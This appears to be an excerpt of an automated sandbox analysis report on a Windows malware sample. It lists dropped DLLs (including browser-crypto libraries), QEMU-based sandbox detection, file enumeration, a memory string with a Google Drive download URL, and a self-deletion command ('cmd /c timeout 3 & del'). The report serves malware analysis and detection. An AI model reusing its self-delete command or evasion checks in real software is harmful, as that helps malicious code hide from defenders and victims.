Source: C:\Users\user\Desktop\1COK25f1vT.exe	Code function: 0_2_004058B3 push edx; ret	0_2_004058B4
Source: C:\Users\user\Desktop\1COK25f1vT.exe	Code function: 0_2_00403343 push edi; ret	0_2_00403364
Source: C:\Users\user\Desktop\1COK25f1vT.exe	Code function: 0_2_00404B0D push di; ret	0_2_00404B18
Source: C:\Users\user\Desktop\1COK25f1vT.exe	Code function: 0_2_00401DCF push edi; ret	0_2_00401DD8
Source: C:\Users\user\Desktop\1COK25f1vT.exe	Code function: 0_2_004071D7 push edi; ret	0_2_004071D8
Source: C:\Users\user\Desktop\1COK25f1vT.exe	Code function: 0_2_004061F5 push esi; ret	0_2_004061FD
Source: C:\Users\user\Desktop\1COK25f1vT.exe	Code function: 0_2_00406B98 push cs; retf	0_2_00406C33
Source: C:\Users\user\Desktop\1COK25f1vT.exe	Code function: 0_2_02A92AFC pushad ; retn 0004h	0_2_02A92E3B
Source: C:\Users\user\Desktop\1COK25f1vT.exe	Code function: 0_2_02A932F4 push esi; iretd	0_2_02A9334A
Source: C:\Users\user\Desktop\1COK25f1vT.exe	Code function: 0_2_02A938DA push eax; iretd	0_2_02A93AB2
Source: C:\Users\user\Desktop\1COK25f1vT.exe	Code function: 0_2_02A93407 push 29C13045h; iretd	0_2_02A9340D
Source: C:\Users\user\Desktop\1COK25f1vT.exe	Code function: 12_2_0041A068 push 0041A08Eh; ret	12_2_0041A086
Source: C:\Users\user\Desktop\1COK25f1vT.exe	Code function: 12_2_0041A02C push 0041A05Ch; ret	12_2_0041A054
Source: C:\Users\user\Desktop\1COK25f1vT.exe	Code function: 12_2_0040E8D0 push 0040E905h; ret	12_2_0040E8FD
Source: C:\Users\user\Desktop\1COK25f1vT.exe	Code function: 12_2_0040B164 push 0040B190h; ret	12_2_0040B188
Source: C:\Users\user\Desktop\1COK25f1vT.exe	Code function: 12_2_0040E908 push 0040E94Ah; ret	12_2_0040E942
Source: C:\Users\user\Desktop\1COK25f1vT.exe	Code function: 12_2_0040B12C push 0040B158h; ret	12_2_0040B150
Source: C:\Users\user\Desktop\1COK25f1vT.exe	Code function: 12_2_0040C136 push 0040C164h; ret	12_2_0040C15C
Source: C:\Users\user\Desktop\1COK25f1vT.exe	Code function: 12_2_0040C138 push 0040C164h; ret	12_2_0040C15C
Source: C:\Users\user\Desktop\1COK25f1vT.exe	Code function: 12_2_0040813C push 00408174h; ret	12_2_0040816C
Source: C:\Users\user\Desktop\1COK25f1vT.exe	Code function: 12_2_004171E8 push 00417214h; ret	12_2_0041720C
Source: C:\Users\user\Desktop\1COK25f1vT.exe	Code function: 12_2_0040C9EA push 0040CA18h; ret	12_2_0040CA10
Source: C:\Users\user\Desktop\1COK25f1vT.exe	Code function: 12_2_0040C9EC push 0040CA18h; ret	12_2_0040CA10
Source: C:\Users\user\Desktop\1COK25f1vT.exe	Code function: 12_2_0040E1A4 push 0040E1D0h; ret	12_2_0040E1C8
Source: C:\Users\user\Desktop\1COK25f1vT.exe	Code function: 12_2_0040B1B8 push 0040B1E4h; ret	12_2_0040B1DC
Source: C:\Users\user\Desktop\1COK25f1vT.exe	Code function: 12_2_0040E25A push 0040E288h; ret	12_2_0040E280
Source: C:\Users\user\Desktop\1COK25f1vT.exe	Code function: 12_2_0040E25C push 0040E288h; ret	12_2_0040E280
Source: C:\Users\user\Desktop\1COK25f1vT.exe	Code function: 12_2_00414A18 push 00414A84h; ret	12_2_00414A7C
Source: C:\Users\user\Desktop\1COK25f1vT.exe	Code function: 12_2_00414A28 push 00414A84h; ret	12_2_00414A7C

Source: msvcp140.dll.12.dr

Static PE information: section name: .didat

Source: C:\Users\user\Desktop\1COK25f1vT.exe

Code function: 12_2_00417216 LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,

12_2_00417216

Source: api-ms-win-crt-environment-l1-1-0.dll.12.dr

Static PE information: real checksum: 0x10447 should be: 0x13239

Source: api-ms-win-core-namedpipe-l1-1-0.dll.12.dr

Static PE information: 0xE9891720 [Sat Feb 27 02:21:20 2094 UTC]

Source: C:\Users\user\Desktop\1COK25f1vT.exe	File created: C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-core-util-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\1COK25f1vT.exe	File created: C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-crt-utility-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\1COK25f1vT.exe	File created: C:\Users\user\AppData\Local\Temp\2fda\ucrtbase.dll	Jump to dropped file
Source: C:\Users\user\Desktop\1COK25f1vT.exe	File created: C:\Users\user\AppData\Local\Temp\2fda\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\1COK25f1vT.exe	File created: C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-core-synch-l1-2-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\1COK25f1vT.exe	File created: C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-core-namedpipe-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\1COK25f1vT.exe	File created: C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-crt-private-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\1COK25f1vT.exe	File created: C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-crt-time-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\1COK25f1vT.exe	File created: C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-core-sysinfo-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\1COK25f1vT.exe	File created: C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-crt-stdio-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\1COK25f1vT.exe	File created: C:\Users\user\AppData\Local\Temp\2fda\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\1COK25f1vT.exe	File created: C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-core-interlocked-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\1COK25f1vT.exe	File created: C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-crt-runtime-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\1COK25f1vT.exe	File created: C:\Users\user\AppData\Local\Temp\2fda\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\1COK25f1vT.exe	File created: C:\Users\user\AppData\Local\Temp\2fda\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\1COK25f1vT.exe	File created: C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-core-handle-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\1COK25f1vT.exe	File created: C:\Users\user\AppData\Local\Temp\2fda\nssdbm3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\1COK25f1vT.exe	File created: C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-core-rtlsupport-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\1COK25f1vT.exe	File created: C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-core-synch-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\1COK25f1vT.exe	File created: C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-crt-convert-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\1COK25f1vT.exe	File created: C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-crt-math-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\1COK25f1vT.exe	File created: C:\Users\user\AppData\Local\Temp\2fda\mozglue.dll	Jump to dropped file
Source: C:\Users\user\Desktop\1COK25f1vT.exe	File created: C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-core-file-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\1COK25f1vT.exe	File created: C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-core-libraryloader-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\1COK25f1vT.exe	File created: C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-crt-multibyte-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\1COK25f1vT.exe	File created: C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-core-processenvironment-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\1COK25f1vT.exe	File created: C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-crt-process-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\1COK25f1vT.exe	File created: C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-core-file-l2-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\1COK25f1vT.exe	File created: C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-core-processthreads-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\1COK25f1vT.exe	File created: C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-crt-locale-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\1COK25f1vT.exe	File created: C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-core-heap-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\1COK25f1vT.exe	File created: C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-core-string-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\1COK25f1vT.exe	File created: C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-core-datetime-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\1COK25f1vT.exe	File created: C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-crt-heap-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\1COK25f1vT.exe	File created: C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-core-debug-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\1COK25f1vT.exe	File created: C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-core-processthreads-l1-1-1.dll	Jump to dropped file
Source: C:\Users\user\Desktop\1COK25f1vT.exe	File created: C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-core-localization-l1-2-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\1COK25f1vT.exe	File created: C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-crt-conio-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\1COK25f1vT.exe	File created: C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-crt-environment-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\1COK25f1vT.exe	File created: C:\Users\user\AppData\Local\Temp\2fda\softokn3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\1COK25f1vT.exe	File created: C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-crt-filesystem-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\1COK25f1vT.exe	File created: C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-core-memory-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\1COK25f1vT.exe	File created: C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-core-file-l1-2-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\1COK25f1vT.exe	File created: C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-core-profile-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\1COK25f1vT.exe	File created: C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-core-errorhandling-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\1COK25f1vT.exe	File created: C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-crt-string-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\1COK25f1vT.exe	File created: C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-core-timezone-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\1COK25f1vT.exe	File created: C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-core-console-l1-1-0.dll	Jump to dropped file

Hooking and other Techniques for Hiding and Protection:

Self deletion via cmd delete

Show sources

Source: C:\Users\user\Desktop\1COK25f1vT.exe	Process created: C:\Windows\system32\cmd.exe" /c C:\Windows\system32\timeout.exe 3 & del "1COK25f1vT.exe
Source: C:\Users\user\Desktop\1COK25f1vT.exe	Process created: C:\Windows\system32\cmd.exe" /c C:\Windows\system32\timeout.exe 3 & del "1COK25f1vT.exe			Jump to behavior

Source: C:\Users\user\Desktop\1COK25f1vT.exe

12_2_00417216

Source: C:\Users\user\Desktop\1COK25f1vT.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\1COK25f1vT.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\1COK25f1vT.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\1COK25f1vT.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\1COK25f1vT.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\1COK25f1vT.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\1COK25f1vT.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\1COK25f1vT.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\1COK25f1vT.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\1COK25f1vT.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\1COK25f1vT.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\1COK25f1vT.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\1COK25f1vT.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\1COK25f1vT.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion:

Tries to detect Any.run

Show sources

Source: C:\Users\user\Desktop\1COK25f1vT.exe	File opened: C:\Program Files\Qemu-ga\qemu-ga.exe	Jump to behavior
Source: C:\Users\user\Desktop\1COK25f1vT.exe	File opened: C:\Program Files\qga\qga.exe	Jump to behavior
Source: C:\Users\user\Desktop\1COK25f1vT.exe	File opened: C:\Program Files\Qemu-ga\qemu-ga.exe	Jump to behavior
Source: C:\Users\user\Desktop\1COK25f1vT.exe	File opened: C:\Program Files\qga\qga.exe	Jump to behavior

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Show sources

Source: 1COK25f1vT.exe, 0000000C.00000002.511282880.0000000002150000.00000004.00000001.sdmp	Binary or memory string: NTDLLKERNEL32USER32C:\PROGRAM FILES\QEMU-GA\QEMU-GA.EXEC:\PROGRAM FILES\QGA\QGA.EXEPSAPI.DLLMSI.DLLPUBLISHERWININET.DLLMOZILLA/5.0 (WINDOWS NT 6.1; WOW64; TRIDENT/7.0; RV:11.0) LIKE GECKOSHELL32ADVAPI32TEMP=HTTPS://DRIVE.GOOGLE.COM/UC?EXPORT=DOWNLOAD&ID=17RU0VECH2DONYHAGWGUE-YWT9AUTZSM-
Source: 1COK25f1vT.exe, 0000000C.00000002.511282880.0000000002150000.00000004.00000001.sdmp	Binary or memory string: C:\PROGRAM FILES\QEMU-GA\QEMU-GA.EXE

Source: C:\Windows\System32\conhost.exe

Last function: Thread delayed

Source: C:\Users\user\Desktop\1COK25f1vT.exe

Code function: 12_2_00416290 LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,CreateToolhelp32Snapshot,Process32FirstW,Process32NextW,GetCurrentProcessId,

12_2_00416290

Source: C:\Users\user\Desktop\1COK25f1vT.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-core-util-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\1COK25f1vT.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-crt-multibyte-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\1COK25f1vT.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-crt-utility-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\1COK25f1vT.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-core-processenvironment-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\1COK25f1vT.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\2fda\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\1COK25f1vT.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-crt-process-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\1COK25f1vT.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-core-synch-l1-2-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\1COK25f1vT.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-core-file-l2-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\1COK25f1vT.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-core-heap-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\1COK25f1vT.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-core-processthreads-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\1COK25f1vT.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-crt-locale-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\1COK25f1vT.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-core-string-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\1COK25f1vT.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-core-datetime-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\1COK25f1vT.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-core-namedpipe-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\1COK25f1vT.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-crt-private-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\1COK25f1vT.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-crt-heap-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\1COK25f1vT.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-core-sysinfo-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\1COK25f1vT.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-crt-time-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\1COK25f1vT.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-core-debug-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\1COK25f1vT.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-core-processthreads-l1-1-1.dll	Jump to dropped file
Source: C:\Users\user\Desktop\1COK25f1vT.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-crt-stdio-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\1COK25f1vT.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-core-interlocked-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\1COK25f1vT.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-core-localization-l1-2-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\1COK25f1vT.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-crt-conio-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\1COK25f1vT.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-crt-environment-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\1COK25f1vT.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-crt-runtime-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\1COK25f1vT.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\2fda\softokn3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\1COK25f1vT.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-crt-filesystem-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\1COK25f1vT.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-core-memory-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\1COK25f1vT.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-core-handle-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\1COK25f1vT.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-core-file-l1-2-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\1COK25f1vT.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\2fda\nssdbm3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\1COK25f1vT.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-core-profile-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\1COK25f1vT.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-core-synch-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\1COK25f1vT.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-core-rtlsupport-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\1COK25f1vT.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-core-errorhandling-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\1COK25f1vT.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-crt-convert-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\1COK25f1vT.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-crt-math-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\1COK25f1vT.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-crt-string-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\1COK25f1vT.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-core-timezone-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\1COK25f1vT.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-core-file-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\1COK25f1vT.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-core-libraryloader-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\1COK25f1vT.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\2fda\api-ms-win-core-console-l1-1-0.dll	Jump to dropped file

Source: C:\Users\user\Desktop\1COK25f1vT.exe

Code function: 0_2_02A986F8 rdtsc

0_2_02A986F8

Source: C:\Users\user\Desktop\1COK25f1vT.exe

Registry key enumerated: More than 151 enums for key HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall

Source: C:\Users\user\Desktop\1COK25f1vT.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\1COK25f1vT.exe

Code function: 12_2_00415E44 GetSystemInfo,

12_2_00415E44

Source: C:\Users\user\Desktop\1COK25f1vT.exe	Code function: 12_2_0041006C FindFirstFileW,FindFirstFileW,	12_2_0041006C
Source: C:\Users\user\Desktop\1COK25f1vT.exe	Code function: 12_2_00414808 FindFirstFileW,	12_2_00414808
Source: C:\Users\user\Desktop\1COK25f1vT.exe	Code function: 12_2_00413030 FindFirstFileW,FindNextFileW,FindClose,	12_2_00413030
Source: C:\Users\user\Desktop\1COK25f1vT.exe	Code function: 12_2_004099C0 FreeLibrary,FindFirstFileW,DeleteFileW,FindNextFileW,SetCurrentDirectoryW,RemoveDirectoryW,	12_2_004099C0
Source: C:\Users\user\Desktop\1COK25f1vT.exe	Code function: 12_2_0040A9E4 FindFirstFileW,FindNextFileW,	12_2_0040A9E4
Source: C:\Users\user\Desktop\1COK25f1vT.exe	Code function: 12_2_0040D988 FindFirstFileW,FindFirstFileW,	12_2_0040D988
Source: C:\Users\user\Desktop\1COK25f1vT.exe	Code function: 12_2_004119AC FindFirstFileW,FindNextFileW,FindClose,	12_2_004119AC
Source: C:\Users\user\Desktop\1COK25f1vT.exe	Code function: 12_2_00414A90 FindFirstFileW,FindFirstFileW,	12_2_00414A90
Source: C:\Users\user\Desktop\1COK25f1vT.exe	Code function: 12_2_0040FB40 FindFirstFileW,	12_2_0040FB40
Source: C:\Users\user\Desktop\1COK25f1vT.exe	Code function: 12_2_00412D6C FindFirstFileW,FindNextFileW,FindClose,	12_2_00412D6C
Source: C:\Users\user\Desktop\1COK25f1vT.exe	Code function: 12_2_00414DE8 FindFirstFileW,FindNextFileW,	12_2_00414DE8
Source: C:\Users\user\Desktop\1COK25f1vT.exe	Code function: 12_2_0041160C FindFirstFileW,FindNextFileW,FindClose,	12_2_0041160C
Source: C:\Users\user\Desktop\1COK25f1vT.exe	Code function: 12_2_00409EF0 FindFirstFileW,GetFileAttributesW,	12_2_00409EF0
Source: C:\Users\user\Desktop\1COK25f1vT.exe	Code function: 12_2_00413F58 FindFirstFileW,GetFileAttributesW,FindNextFileW,FindClose,	12_2_00413F58
Source: C:\Users\user\Desktop\1COK25f1vT.exe	Code function: 12_2_0040F7A8 FindFirstFileW,FindNextFileW,	12_2_0040F7A8
Source: C:\Users\user\Desktop\1COK25f1vT.exe	Code function: 12_2_00410064 FindFirstFileW,FindFirstFileW,	12_2_00410064
Source: C:\Users\user\Desktop\1COK25f1vT.exe	Code function: 12_2_00410068 FindFirstFileW,FindFirstFileW,	12_2_00410068
Source: C:\Users\user\Desktop\1COK25f1vT.exe	Code function: 12_2_0040A9E3 FindFirstFileW,FindNextFileW,	12_2_0040A9E3
Source: C:\Users\user\Desktop\1COK25f1vT.exe	Code function: 12_2_004119A8 FindFirstFileW,FindNextFileW,FindClose,	12_2_004119A8
Source: C:\Users\user\Desktop\1COK25f1vT.exe	Code function: 12_2_0040DB00 FindFirstFileW,	12_2_0040DB00
Source: C:\Users\user\Desktop\1COK25f1vT.exe	Code function: 12_2_0040DB30 FindFirstFileW,	12_2_0040DB30
Source: C:\Users\user\Desktop\1COK25f1vT.exe	Code function: 12_2_00412D40 FindFirstFileW,FindNextFileW,FindClose,	12_2_00412D40
Source: C:\Users\user\Desktop\1COK25f1vT.exe	Code function: 12_2_00412D48 FindFirstFileW,FindNextFileW,FindClose,	12_2_00412D48
Source: C:\Users\user\Desktop\1COK25f1vT.exe	Code function: 12_2_00412D54 FindFirstFileW,FindNextFileW,FindClose,	12_2_00412D54
Source: C:\Users\user\Desktop\1COK25f1vT.exe	Code function: 12_2_00413F58 FindFirstFileW,GetFileAttributesW,FindNextFileW,FindClose,	12_2_00413F58
Source: C:\Users\user\Desktop\1COK25f1vT.exe	Code function: 12_2_00409EE8 FindFirstFileW,GetFileAttributesW,	12_2_00409EE8
Source: C:\Users\user\Desktop\1COK25f1vT.exe	Code function: 12_2_0040F798 FindFirstFileW,FindNextFileW,	12_2_0040F798
Source: C:\Users\user\Desktop\1COK25f1vT.exe	Code function: 12_2_0040F7A0 FindFirstFileW,FindNextFileW,	12_2_0040F7A0
